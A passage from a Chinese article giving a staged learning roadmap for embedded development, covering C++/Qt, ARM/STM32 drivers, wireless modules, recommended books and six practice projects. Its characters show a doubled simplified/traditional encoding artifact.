6)數(shù)據(jù)庫概念、數(shù)據(jù)庫類型、常見數(shù)據(jù)庫
7)SQLite數(shù)據(jù)庫介紹及其安裝與移植
這一階段推薦的書籍:《TCP-IP詳解卷》《UNIX環(huán)境高級編程》、《Unix網(wǎng)絡(luò)編程》
D C++面向?qū)ο蟾呒壵Z言程序設(shè)計(jì)
這個階段主要學(xué)習(xí)C++思想及項(xiàng)目框架相關(guān)知識,C++語言作為一門高級語言,其語法復(fù)雜度比較復(fù)雜,學(xué)好并不是件容易的事情。此外、其編程思想是其精華所在,融會貫通后有無招勝有招的特效。
1)熟悉面向?qū)ο蟮恼Z言概述
2)熟練掌握C++基本語法
3)封裝、繼承、多繼承;
4)多態(tài):虛函數(shù)、抽象類、模板;
5)標(biāo)準(zhǔn)模板庫STL的使用及原理;
6)UML建模及設(shè)計(jì)模式;
7)各種網(wǎng)絡(luò)庫、數(shù)據(jù)庫、IO庫、線程庫的使用;
8)Qt對C++的擴(kuò)展及使用;
這一階段推薦書籍:《C++ Primer》《The Standard C Library》《大話設(shè)計(jì)模式》《Qt Creator快速入門》《Qt5開發(fā)及實(shí)例》
E ARM結(jié)構(gòu)及驅(qū)動開發(fā)
這階段主要了解芯片程序開發(fā)相關(guān)內(nèi)容,包含STM32開發(fā)、匯編指令、ARM處理器工作原理等底層編程內(nèi)容,學(xué)習(xí)這一階段有助于理解內(nèi)存、寄存器、系統(tǒng)、任務(wù)機(jī)制等底層概念,提高程序員的編程修養(yǎng),屬于點(diǎn)睛之筆。這階段的學(xué)習(xí)內(nèi)容包括:
1)單片機(jī)基礎(chǔ)(匯編指令、時鐘、GPIO、定時器、中斷);
2)A53開發(fā)板介紹、設(shè)備使用、交叉編譯
3)Keil下匯編指令編寫;
3)通信總線UART、IIC、SPI及傳感器模塊的使用;
4)STM32開發(fā)流程;
5)uCos微型系統(tǒng)移植及使用;
6)Linux系統(tǒng)移植及使用;
這個階段推薦書籍:《Linux內(nèi)核設(shè)計(jì)與實(shí)現(xiàn)》《Linux設(shè)備驅(qū)動程序》《Linux設(shè)備驅(qū)動開發(fā)詳解》
F 常用通信模塊學(xué)習(xí)
這個階段需要學(xué)習(xí)現(xiàn)有的工程模塊的使用及原理,涉及RFID、紅外、2.4G、Bluetooth、ZigBee、NB-IOT、Lora等。當(dāng)然不要求全部完全的掌握,起碼能達(dá)到會用的狀態(tài)。具體來說這個階段包含的內(nèi)容有:
1)RFID工作原理,以及讀卡器原理與通信過程;
2)紅外遙控的原理及使用;
3)2.4G無線模塊的配對及使用;
4)Bluetooth模塊通信原理及使用;
5)TI的CC2530的基本應(yīng)用,Zibgee相關(guān)微控制處理芯片;
6)NB-IOT基本概念及熟悉CoAP協(xié)議在中的應(yīng)用;
7)Lora模塊的使用;
8)掌握溫度、濕度、光照、PH值、二氧化碳等傳感器的工作原理及通信接口;
這個階段沒有推薦技術(shù)書籍,但感興趣可以看一下傳感器技術(shù)相關(guān)的書籍通信原理相關(guān)書籍,或者一些官方的介紹手冊;
03
推薦嵌入式項(xiàng)目
嵌入式技術(shù)關(guān)鍵在于理論和實(shí)踐的結(jié)合,要能夠?qū)W以致用,完成了以上的所有階段的知識點(diǎn)學(xué)習(xí)后,到底有沒有學(xué)會,會不會用,能不能應(yīng)用所學(xué)知識來解決實(shí)際開發(fā)中的問題,我們需要來完成一個綜合的嵌入式實(shí)訓(xùn)項(xiàng)目,例如:
項(xiàng)目一:智能家居項(xiàng)目
本項(xiàng)目實(shí)現(xiàn)設(shè)備的本地控制與遠(yuǎn)程控制,對開關(guān)量設(shè)備,能夠?qū)崿F(xiàn)信息采集類設(shè)備的控制如溫濕度,能夠?qū)崿F(xiàn)監(jiān)控類設(shè)備的控制如視頻監(jiān)控,安全系統(tǒng)如外人入侵能夠自動通過GPRS報(bào)警。項(xiàng)目涉及技術(shù)c語言、多任務(wù)開發(fā)、網(wǎng)絡(luò)socket開發(fā)、boa網(wǎng)絡(luò)服務(wù)器、CGI編程、html網(wǎng)頁設(shè)計(jì)等
項(xiàng)目二:智能人臉識別項(xiàng)目
本項(xiàng)目首先通過opencv庫的使用來實(shí)現(xiàn)人臉基本訓(xùn)練模型檢測、再深入學(xué)習(xí)通過人臉識別以及實(shí)時抓取圖像分析并識別,了解認(rèn)識opencv、dlib等開源工具
項(xiàng)目三:RFID智能門禁項(xiàng)目
本項(xiàng)目實(shí)現(xiàn)RFID卡識別,用戶信息注冊、修改、刪除、語音播報(bào)提示可按不同的查詢條件查詢,可實(shí)現(xiàn)考勤
項(xiàng)目四:多媒體播放器項(xiàng)目
實(shí)現(xiàn)帶有圖形界面的音樂播放、暫停、上一曲、下一曲、歌曲列表歌詞同步等播放器功能,涉及到的知識點(diǎn)有c語言、數(shù)據(jù)結(jié)構(gòu)鏈表、Linux多進(jìn)程、多線程、進(jìn)程間通信、同步互斥等
項(xiàng)目五:智能手機(jī)設(shè)計(jì)項(xiàng)目
本項(xiàng)目能夠?qū)崿F(xiàn)智能手機(jī)接打電話、來電顯示、收發(fā)中英文短信,查看短信、信號強(qiáng)度檢測、運(yùn)營商檢測。項(xiàng)目涉及到的技術(shù)GPRS AT指令集、Linux多進(jìn)程、多線程、進(jìn)程間通信、同步互斥、GUI圖形開發(fā)等
項(xiàng)目六:智慧教室項(xiàng)目
本項(xiàng)目可通過NB-IOT等標(biāo)準(zhǔn)物聯(lián)網(wǎng)通信協(xié)議是實(shí)現(xiàn)現(xiàn)代化資源統(tǒng)籌管理,基本功能是實(shí)現(xiàn)教室燈控、空調(diào)、通風(fēng)、窗簾、門禁、人流等實(shí)時遠(yuǎn)程監(jiān)控,以實(shí)現(xiàn)聯(lián)動、手動控制和數(shù)據(jù)采集分析
這些項(xiàng)目都綜合應(yīng)用了嵌入式開發(fā)當(dāng)中的應(yīng)用,驅(qū)動和QT開發(fā)技術(shù)。
以上就是我建議的比較系統(tǒng)的嵌入式學(xué)習(xí)路線。系統(tǒng)學(xué)習(xí)并能靈活應(yīng)用以上知識后,嵌入式基本上就算入門了,具備企業(yè)項(xiàng)目的嵌入式研發(fā)能力了,這時候去應(yīng)聘企業(yè)的嵌入式研發(fā)工程師崗位就不會有什么問題了。
看到這里,你對嵌入式有沒有一些把握了呢?
歡迎留言討論噢~
參考鏈接:
https://www.zhihu.com/question/454411605/answer/1834680462
關(guān)注我們,一起學(xué)習(xí)更多IT知識!
*請認(rèn)真填寫需求信息,我們會在24小時內(nèi)與您取得聯(lián)系。